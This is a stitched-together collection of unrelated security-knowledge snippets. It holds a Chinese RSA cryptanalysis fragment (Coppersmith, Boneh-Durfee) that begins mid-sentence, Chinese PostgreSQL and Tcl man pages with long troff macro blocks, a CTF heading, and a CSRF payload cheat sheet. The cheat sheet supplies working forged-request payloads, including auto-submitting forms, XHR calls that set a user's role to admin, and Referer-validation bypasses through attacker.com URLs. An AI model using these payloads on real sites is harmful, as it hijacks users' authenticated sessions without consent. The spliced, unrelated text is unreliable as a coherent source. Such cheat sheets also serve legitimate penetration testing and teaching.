padding,然后加密得到密文 C1,发送给鲍勃。这时,中间人皮特截获了密文。一段时间后,爱丽丝没有收到鲍勃的回复,再次对要加密的消息 M 进行随机 padding,然后加密得到密文 C2,发送给 Bob。皮特再一次截获。这时,皮特就**可能**可以利用如下原理解密。 这里我们假设模数 N 的长度为 k,并且 padding 的长度为 $m=\lfloor \frac{k}{e^2} \rfloor$。此外,假设要加密的消息的长度最多为 k-m 比特,padding 的方式如下 $$ M_1=2^mM+r_1, 0\leq r_1\leq 2^m $$ 消息 M2 的 padding 方式类似。 那么我们可以利用如下的方式来解密。 首先定义 $$ g_1(x,y)=x^e-C_1 g_2(x,y)=(x+y)^e-C_2 $$ 其中 $y=r_2-r_1$。显然这两个方程具有相同的根 M1。然后还有一系列的推导。 ### Known High Bits Message Attack攻击条件 这里我们假设我们首先加密了消息 m,如下 $$ C\equiv m^d \bmod N $$ 并且我们假设我们知道消息 m 的很大的一部分 $m_0$,即 $m=m_0+x$,但是我们不知道 $x$。那么我们就有可能通过该方法进行恢复消息。这里我们不知道的 x 其实就是多项式的根,需要满足 Coppersmith 的约束。 可以参考 https://github.com/mimoo/RSA-and-LLL-attacks。 ### Factoring with High Bits Known攻击条件 当我们知道一个公钥中模数 N 的一个因子的较高位时,我们就有一定几率来分解 N。 ### Factoring with High Bits Known攻击工具 请参考 https://github.com/mimoo/RSA-and-LLL-attacks。上面有使用教程。关注下面的代码 ```python beta = 0.5 dd = f.degree() epsilon = beta / 7 mm = ceil(beta**2 / (dd * epsilon)) tt = floor(dd * mm * ((1/beta) - 1)) XX = ceil(N**((beta**2/dd) - epsilon)) + 1000000000000000000000000000000000 roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX) ``` 其中, - 必须满足 $q\geq N^{beta}$,所以这里给出了$beta=0.5$,显然两个因数中必然有一个是大于的。 - XX 是 $f(x)=q'+x$ 在模 q 意义下的根的上界,自然我们可以选择调整它,这里其实也表明了我们已知的 $q'$ 与因数 q 之间可能的差距。 ### Boneh and Durfee attack攻击条件 当 d 较小时,满足 $d < N^{0.292}$ 时,我们可以利用该攻击,比 Wiener's Attack 要强一些。 ### Boneh and Durfee attack攻击原理 这里简单说一下原理。 首先 $$ ed \equiv 1 \bmod \varphi(N)/2 $$ 进而有 $$ ed +k\varphi(N)/2=1 $$ 即 $$ k \varphi(N)/2 \equiv 1 \bmod e $$ 又 $$ \varphi(N)=(p-1)(q-1)=qp-p-q+1=N-p-q+1 $$ 所以 $$ k(N-p-q+1)/2 \equiv 1 \bmod e $$ 假设 $A=\frac{N+1}{2}$,$y=\frac{-p-q}{2}$ ,原式可化为 $$ f(k,y)=k(A+y) \equiv 1 \bmod e $$ 其中 $|k|<\frac{2ed}{\varphi(N)}<\frac{3ed}{N}=3*\frac{e}{N}*d<3*\frac{e}{N}*N^{delta}$ $|y|<2*N^{0.5}$ y 的估计用到了 p、q 比较均匀的假设。这里 delta 为预估的小于 0.292 的值。 如果我们求得了该二元方程的根,那么我们自然也就可以解一元二次方程 $N=pq,p+q=-2y$ 来得到 p 与 q。 更加具体的推导,参考 New Results on the Cryptanalysis of Low Exponent RSA.
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE USER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE USER \- 创建一个新的数据库用户帐户 .SH SYNOPSIS .sp .nf CREATE USER \fIname\fR [ [ WITH ] \fIoption\fR [ ... ] ] where \fIoption\fR can be: SYSID \fIuid\fR | [ ENCRYPTED | UNENCRYPTED ] PASSWORD '\fIpassword\fR' | CREATEDB | NOCREATEDB | CREATEUSER | NOCREATEUSER | IN GROUP \fIgroupname\fR [, ...] | VALID UNTIL '\fIabstime\fR' .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE USER\fR 向一个 PostgreSQL 数据库集群增加一个新用户。 参考 Chapter 17 ``Database Users and Privileges'' 和 Chapter 19 ``Client Authentication'' 获取关于管理用户和认证的信息。 要执行这条命令,你必须是一个数据库超级用户。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 用户名 .TP \fB\fIuid\fB\fR SYSID 子句可以用于选择正在被创建的用户的 PostgreSQL 用户标识。 通常这是不必要的,但是如果你想恢复一个孤儿对象的所有者,也许这个很有用。 如果没有声明这个,缺省使用已分配的最高用户标识加一(最小是 100)。 .TP \fB\fIpassword\fB\fR 设置用户的口令,如果你不准备使用口令认证, 那么你可以省略这个选项,但如果你想切换到一个口令认证的服务器,那么该用户将不能联接。 此口令可以稍后再次设置或者修改,使用 ALTER USER [\fBalter_user\fR(7)]。 .TP \fBENCRYPTED\fR .TP \fBUNENCRYPTED\fR 控制口令在数据库中是否以加密形式存储在系统表中。 (如果两个都没有设置,那么缺省的特性是由配置参数 password_encryption 决定的。) 如果提供的字串已经是 MD5 加密的格式,那么就照原样存储, 不管声明的是 ENCRYPTED 还是 UNENCRYPTED。 这样就允许在转储/恢复的过程中重载加密后的口令。 请注意老的客户端可能缺少 MD5 认证机制,我们需要这个认证机制处理存储为密文的口令。 .TP \fBCREATEDB\fR .TP \fBNOCREATEDB\fR 这个子句定义用户的创建数据库权限。 如果声明了CREATEDB, 被定义的用户将允许创建其自己的数据库。 而使用NOCREATEDB将否决该用户的创建数据库的能力。 如果忽略本子句,缺省是NOCREATEDB。 .TP \fBCREATEUSER\fR .TP \fBNOCREATEUSER\fR 该子句决定一个用户是否能创建一个新的用户。 这个选项同样把此用户变成数据库超级用户,可以跨越所有访问限制。省略这个参数将置用户的这个属性为 NOCREATEUSER。 .TP \fB\fIgroupname\fB\fR 一个组名称,把这个用户设为该组成员。 你可以列出多个组名字。 .TP \fB\fIabstime\fB\fR VALID UNTIL (有效期)子句设置一个绝对时间, 过了该时间后用户的口令将不再有效。 如果省略这个子句,登陆将总是有效的。 .SH "NOTES 注意" .PP 使用 ALTER USER [\fBalter_user\fR(7)] 修改用户的口令和权限,DROP USER [\fBdrop_user\fR(7)] 删除一个用户。 使用 ALTER GROUP [\fBalter_group\fR(l)] 从组中增加或删除用户。 .PP PostgreSQL 里有一个程序 createuser [\fBcreateuser\fR(1)] 与CREATE USER 有相同的功能(实际上,它调用这条命令), 但是可以在命令行上运行。 .SH "EXAMPLES 例子" .PP 创建一个没有口令的用户: .sp .nf CREATE USER jonathan; .sp .fi .PP 创建一个有口令的用户: .sp .nf CREATE USER davide WITH PASSWORD 'jw8s0F4'; .sp .fi .PP 创建一个有口令的用户,其帐号在 2004 年底失效。 注意当 2005 年走过一秒后,该帐号将不再有效: .sp .nf CREATE USER miriam WITH PASSWORD 'jw8s0F4' VALID UNTIL '2005-01-01'; .sp .fi .PP 创建一个拥有创建数据库权限的用户: .sp .nf CREATE USER manuel WITH PASSWORD 'jw8s0F4' CREATEDB; .sp .fi .SH "COMPATIBILITY 兼容性" .PP \fBCREATE USER\fR 语句是 PostgreSQL 扩展。 SQL 标准把用户的定义交给具体实现处理。 .SH "SEE ALSO 参见" ALTER USER [\fBalter_user\fR(7)], DROP USER [\fBdrop_user\fR(l)], \fBcreateuser\fR(1) .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "DROP TYPE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME DROP TYPE \- 删除一个用户定义数据类型 .SH SYNOPSIS .sp .nf DROP TYPE \fIname\fR [, ...] [ CASCADE | RESTRICT ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBDROP TYPE\fR 将从系统表里删除用户定义的类型。 只有类型所有者可以删除类型。 .SH "PARAMETERS 参数" .TP \fB\fIname\fB\fR 要删除的类型名(可以有模式修饰)。 .TP \fBCASCADE\fR 自动删除依赖该类型的对象(比如表字段,函数,操作符等等)。 .TP \fBRESTRICT\fR 如果有依赖对象,则拒绝删除该类型。这个是缺省。 .SH "EXAMPLES 例子" .PP 删除 box 类型: .sp .nf DROP TYPE box; .sp .fi .SH "COMPATIBILITY 兼容性" .PP 这条命令类似于 SQL 标准里对应的命令,但是要注意,PostgreSQL 里的 CREATE TYPE 命令和数据类型扩展机制是和 SQL 标准里不同的。 .SH "SEE ALSO 参见" CREATE TYPE [\fBcreate_type\fR(7)] .SH "译者" .B Postgresql 中文网站 .B 何伟平 <laser@pgsqldb.org>
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: source.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: source.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH source 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME source \- 把一个文件或资源作为一个 Tcl 脚本来求值 .SH "总览 SYNOPSIS" \fBsource \fIfileName\fR .sp \fBsource\fR \fB\-rsrc \fIresourceName \fR?\fIfileName\fR? .sp \fBsource\fR \fB\-rsrcid \fIresourceId \fR?\fIfileName\fR? .BE .SH "描述 DESCRIPTION" .PP 这个命令接受指定文件或资源的内容并把它们作为一个文本脚本传递给 Tcl 解释器。\fBsource\fR 的返回值是在脚本中最后执行的命令的返回值。如果在对这个脚本的内容进行求值时发生了一个错误,则 \fBsource\fR 命令将返回这个错误。如果在脚本中调用了 \fBreturn\fR 命令,则文件的剩余部分将被跳过(skip)而 \fBsource\fR 命令将正常的返回 \fBreturn\fR 命令的结果。 .PP 这个命令的 \fI-rsrc\fR 和 \fI-rsrcid\fR 形式只能在 Macintosh 计算机上获得。此命令的这个版本允许你从一个 \fBTEXT \fR资源中 source 一个脚本。你可以通过名字或 id 指定要 source 的 \fBTEXT\fR 资源。缺省的 Tcl 查找所有打开的资源文件,其中包括当前应用和任何装载的 C 扩展(所打开的资源文件)。另一种选择,你可以指定在其中能找到 \fBTEXT\fR 资源的 \fIfileName\fR。 .SH "关键字 KEYWORDS" file, script .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/30 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# 35C3 Junior CTF (2018) Various writeups for the 2018 35C3 Junior CTF. Finished #52 out of 520 participants.
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: tell.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: tell.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tell 3tcl 8.1 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME tell \- 返回一个打开的通道的当前访问位置 .SH "总览 SYNOPSIS" \fBtell \fIchannelId\fR .BE .SH "描述 DESCRIPTION" .PP .VS 8.1 返回一个整数值,给出 \fIchannelId \fR的当前访问位置。返回的这个值是可以传递给 \fBseek\fR 命令的一个字节偏移量,用以把通道设置到一个特定的位置。注意这个值以字节为单位的,而不是以字符为单位如 \fBread\fR 命令。 .VE 8.1 对于不支持搜寻(seek)的通道返回的这个值是 -1。 .SH "参见 SEE ALSO" file(n), open(n), close(n), gets(n), seek(n) .SH "关键字 KEYWORDS" access position, channel, seeking .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/11/20 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Cross-Site Request Forgery > Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP ## Summary * [Methodology](#methodology) * [Payloads](#payloads) * [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction) * [HTML GET - No User Interaction)](#html-get---no-user-interaction) * [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction) * [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction) * [HTML POST - multipart/form-data with file upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction) * [JSON GET - Simple Request](#json-get---simple-request) * [JSON POST - Simple Request](#json-post---simple-request) * [JSON POST - Complex Request](#json-post---complex-request) * [Bypass referer header validation check](#bypass-referer-header-validation) * [Basic payload](#basic-payload) * [With question mark payload](#with-question-mark-payload) * [With semicolon payload](#with-semicolon-payload) * [With subdomain payload](#with-subdomain-payload) * [References](#references) ## Tools * [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe) ## Methodology ## Payloads When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it. ### HTML GET - Requiring User Interaction ```html <a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a> ``` ### HTML GET - No User Interaction ```html <img src="http://www.example.com/api/setusername?username=CSRFd"> ``` ### HTML POST - Requiring User Interaction ```html <form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> ``` ### HTML POST - AutoSubmit - No User Interaction ```html <form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> <script> document.getElementById("autosubmit").submit(); </script> ``` ### HTML POST - multipart/form-data with file upload - Requiring User Interaction ```html <script> function launch(){ const dT = new DataTransfer(); const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" ); dT.items.add( file ); document.xss[0].files = dT.files; document.xss.submit() } </script> <form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data"> <input id="file" type="file" name="file"/> <input type="submit" name="" value="" size="0" /> </form> <button value="button" onclick="launch()">Submit Request</button> ``` ### JSON GET - Simple Request ```html <script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.example.com/api/currentuser"); xhr.send(); </script> ``` ### JSON POST - Simple Request ```html <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); //application/json is not allowed in a simple request. text/plain is the default xhr.setRequestHeader("Content-Type", "text/plain"); //You will probably want to also try one or both of these //xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //xhr.setRequestHeader("Content-Type", "multipart/form-data"); xhr.send('{"role":admin}'); </script> ``` ### JSON POST - Complex Request ```html <script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"role":admin}'); </script> ``` ## Bypass referer header validation ### Basic payload ``` 1) Open https://attacker.com/csrf.html 2) Referer header is .. Referer: https://attacker.com/csrf.html ``` ### With question mark(`?`) payload ``` 1) Open https://attacker.com/csrf.html?trusted.domain.com 2) Referer header is .. Referer: https://attacker.com/csrf.html?trusted.domain.com ``` ### With semicolon(`;`) payload ``` 1) Open https://attacker.com/csrf.html;trusted.domain.com 2) Referer header is .. Referer: https://attacker.com/csrf.html;trusted.domain.com ``` ### With subdomain payload ``` 1) Open https://trusted.domain.com.attacker.com/csrf.html 2) Referer headers is .. Referer: https://trusted.domain.com.attacker.com/csrf.html ``` ## Labs * [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses) * [CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method) * [CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present) * [CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session) * [CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie) * [CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie) * [CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present) * [CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken) ## References - [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/) - [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) - [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/) - [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/) - [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/) - [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820) - [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/) - [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/) - [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346) - [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf) - [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/) - [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0) - [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f) - [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
sec-knowleage
